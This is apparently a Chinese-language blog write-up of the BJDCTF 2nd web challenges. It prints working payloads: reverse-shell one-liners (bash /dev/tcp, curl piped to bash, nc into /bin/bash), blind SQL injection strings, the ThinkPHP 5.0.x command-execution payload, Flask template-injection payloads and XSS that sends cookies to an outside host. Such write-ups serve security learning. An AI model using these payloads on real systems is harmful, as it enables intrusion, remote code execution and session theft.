[BJDCTF – 2nd] Write-up

/ 0评 / 0

本次比赛是给新生准备的,我也来参加一下我是新生废物
题目难度都很基础(出题人说的)
学到很多东西 记录一手记录一手
WEB

DuangShell

这题因为日本的靶机端口被封了导致我以为不能访问外网 试了好几个小时都没出

考点:

~~swp文件备份
~~php反弹shell
~~REC绕过

解题:

打开后是一个征婚页面

提示了备份文件为vim类型
下载.index.php.swp
       //这里注意 在linux下 备份文件都为隐藏文件,在linux中 ‘.’是隐藏文件前缀
使用 vi -r late.c 命令恢复swp文件 
源码:

可以发现 这里需要post一个名为‘girl_friend’的变量,正则过滤了许多东西
源码中提示duangshell 
并且含有exec()函数  // exec 函数只能执行一个命令
那让我们来反弹一个shell到本地吧(这里日本靶机被封是我着实没有想到的)
常规的反弹命令百度基本都是

php -r 'exec("/bin/bash -i >& /dev/tcp/ip/port");'
bash -i >& /dev/tcp/ip/port 0>&1

本题里过滤了引号和>导致以上命令全部无法正常执行
在y1ng师傅以往的wp中,提到了使用
curl ip/1.txt|bash
这里我们将bash反弹命令写入1.txt并放入远程服务器 
远程服务器监听相应端口,即可反弹shell到本地执行命令
 
我还发现了一个其他绕过>$\的姿势:
nc ip:port|/bin/bash|nc ip:port
此命令是反弹到两个端口,一个端口执行命令,另一个端口可以查看回显
也可以成功反弹shell

发现在根目录的flag是假的,使用find 命令找到 flag:find / -name flag
成功找到flag
 

GirlFriendSqlInjection

考点:

····SQL注入
····单引号字符逃逸
····盲注-布尔
····regexp匹配
····大小写匹配

解题:

打开后是一个登录界面

首先fuzz一手发现过滤了   ' select  ‘  ' union '   '  like   ' 等常规注入关键字

尝试使用盲注
后又发现盲注所必须的单引号被过滤
此时想到一篇之前看过的文章
“反斜杠\导致字符转义”
例如:user='admin'&pass='admin'
在加上\后,成了:user='admin\'&pass='admin'
这样实际mysql后台查询的语句就成了:user='admin&pass='admin' 单引号成功逃逸出来 加上#闭合后面的单引号,导致可以执行我们的sql语句
本题中,测试后发现返回为布尔值,例如
1^1^1 返回 · 真
1^(2>1)^1 返回 · 真
1^(1>1)^1 返回 · 假
所以这里应该是要使用布尔盲注,最开始的思路是substr函数截取数据库表名,发现select被过滤了只能跑出数据库名
exp:

数据库名:p3rh4ps
因为过滤了‘=’ 导致一直没有思路,后遍历百度后发现regexp可以执行正则表达式,猜测后台存储密码的列名为‘password’
尝试regexp盲注
username=admin\&password=|| substr(password,x,1) regexp x #
本题还过滤了双引号 导致regexp ^"x"无法正常执行
将需要比较的字符与^一起进行十六进制转换(mysql中默认会把十六进制命令转义后执行)
其中username 5位 password 12位
之后进行字符截取盲注。
又发现返回的值中包含正确值的大写与小写,(mysql默认不区分大小写)
遍历百度后发现 binary 命令可以比较大小写

最终payload:username=admin\&password=|| substr(password,x,1) regexp binary x #

查出密码后登陆即可获得flag

 

老黑客了

考点:

····thinkphp5.0.x任意命令执行漏洞

解题:


打开后提示了一个大大大大大大大大大的版本号
之前有见过thinkphp5.0.x任意命令执行漏洞的文章,这次就考出来了

最终payload是 get:?s=
post: _method=__construct&filter[]=system&server[REQUEST_METHOD]=cat /flag

就可以发现flag啦

 
网上好多thinkphp5.0.x的漏洞复现帖子,有很多payload,这里就不详述了其实我具体也不知道

Fake Google

考点:

····flask模板注入

解题:


打开后是一个大大的搜索框
输入任意字符后回显字符

尝试输入{{7*7}}
发现计算出了结果,尝试flask模板注入

payload:{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()") }}{% endif %}{% endfor %}

发现了flag文件

尝试读取一手吧,emmm 回显非 flag ,猜测这里可能过滤了正常的flag字符

使用base64加密读取flag

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('openssl base64 -in /flag').read()") }}{% endif %}{% endfor %}


解密后就有flag啦
这里记录一手常用payload吧!

#命令执行:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

Element Master

考点:

···脑洞
解题:

打开后是一个Y1ng师傅画的超好看的画
hint给了

1.不需要扫描器,扫也扫不出来东西
2.mendeleev=门捷列夫
3.use some of your out of the box thinking
4.from requests import *
5.某处的神秘代码,Hex to String
6.元素周期表
7.用上hint2和hint4
8.https://translate.google.com/

好嘛,给了这么多提示,还是没什么思路
在网页源代码处给了一道十六进制加密的文字,解密后为po.php
之后给了元素周期表的字典,跑一下有一个网页显示了flag地址:And_th3_3LemEnt5_w1LL_De5tR0y_y0u.php
打开后为flag
 
 

假猪套天下第一

考点:

···http-header头的修改与意义
···细心
解题:

又是一个登陆解密
尝试登陆
为空时显示“没密码你登陆你妈呢
后测试后发现,当用户名很长时 除了admin都能登录 如 admin'''''''''''''''''''''''''''''''''''' 会登陆成功

想要源码.jpg
在注释中会发现新的页面
L0g1n.php

打开后提示此页面在99年后会开放,那么就等一手等一手
提示给了:

1.XFF过不去,题目要考的字段里不带字母“X”
2.某某64过不去,去查查Google,查查他全称叫什么(划重点:Google) 或者wikipedia

按照第一届的惯例,抓个包看看吧!

这里可以很清楚的看到cookie中有一个时间项,改到99年后看看?

可以发现这里变成了‘ Sorry, this site is only optimized for those who comes from localhost’
题目hint给了xff过不去,那我们试试其他的方法吧!
client-ip:127.0.0.1
提示了一手: Sorry, this site is only optimized for those who come from gem-love.com
referer:gem-love.com
提示了一手: Sorry, this site is only optimized for browsers that run on Commodo 64
hint中给了google中搜一下就知道了
在google中发现

其实这个名字有所错误
搜索一下他的UA头吧!

"Contiki/1.0 (Commodore 64; http://dunkels.com/adam/contiki/)"

使用user-agent构造:User-Agent:"Contiki/1.0 (Commodore 64; http://dunkels.com/adam/contiki/)"
提示: Sorry, this site is only optimized for those whose email is root@gem-love.com
百度后可以知道http请求头如何构建email协议 from:root@gem-love.com
好嘛,又提示 Sorry, this site is only optimized for those who use the http proxy of y1ng.vip<br> if you dont have the proxy, pls contact us to buy, ¥100/Month
搜索后可以发现有一个via头
构建:via:y1ng.vip
在注释中可以发现一个base64加密的字符串

<!--ZmxhZ3tjMzVjM2U0NC0xMWE4LTQxNTktOTMxNS0yMjJlM2U3MmY1Yjl9Cg==-->

解码即flag
 

Schrödinger

考点:

···COOKIE修改
···bilibili的正确使用

解题:


打开后是一个全是英文的英文界面,通读全文后,在下面的输入框输入一些东西就会开始解密,解密到一定程度就会获得密码
在白色字体中还发现了test.php
去看看

一个华丽的登录页面
在爆破尝试无果后,提示了cooike
发现有一个base64加密的字符串

解密后是一串数字
根据前一道99年的题,尝试修改一手数字为0的base64或为空
返回解密页面后发现进度已经成了99
check一下发现密码

敏锐的嗅觉 提示 告诉我这是bilibli的东西

评论区发现flag

xss之光(你没有杨大树长)

考点:

···git源码泄露
···xss

解题:

打开后只有大大的

gungungun

扫描器扫描后可以发现git源码
githack下载源码后只有一个简单的反序列化源码

<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);

确实没有啥思路,只知道一个参量和反序列化点,从哪里下手呢???

根据BUU的题目 “XSS之光”
猜测是反序列化XSS代码
<?php
$a = serialize(new Exception("<script>window.location.href='http://3761294d-edc7-45ec-9ef3-f2ea56c9458d.node3.buuoj.cn/a?'+document.cookie</script>"))
echo $a;
或者
<?php
$a = '<script>var img=document.createElement("img");img.src="http://3761294d-edc7-45ec-9ef3-f2ea56c9458d.node3.buuoj.cn/a?"+escape(document.cookie);</script>';
echo serialize($a);
查看cooike就有flag
参考:https://www.gem-love.com/ctf/2097.html#XSS
后才知道是一个php原生类反序列化

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注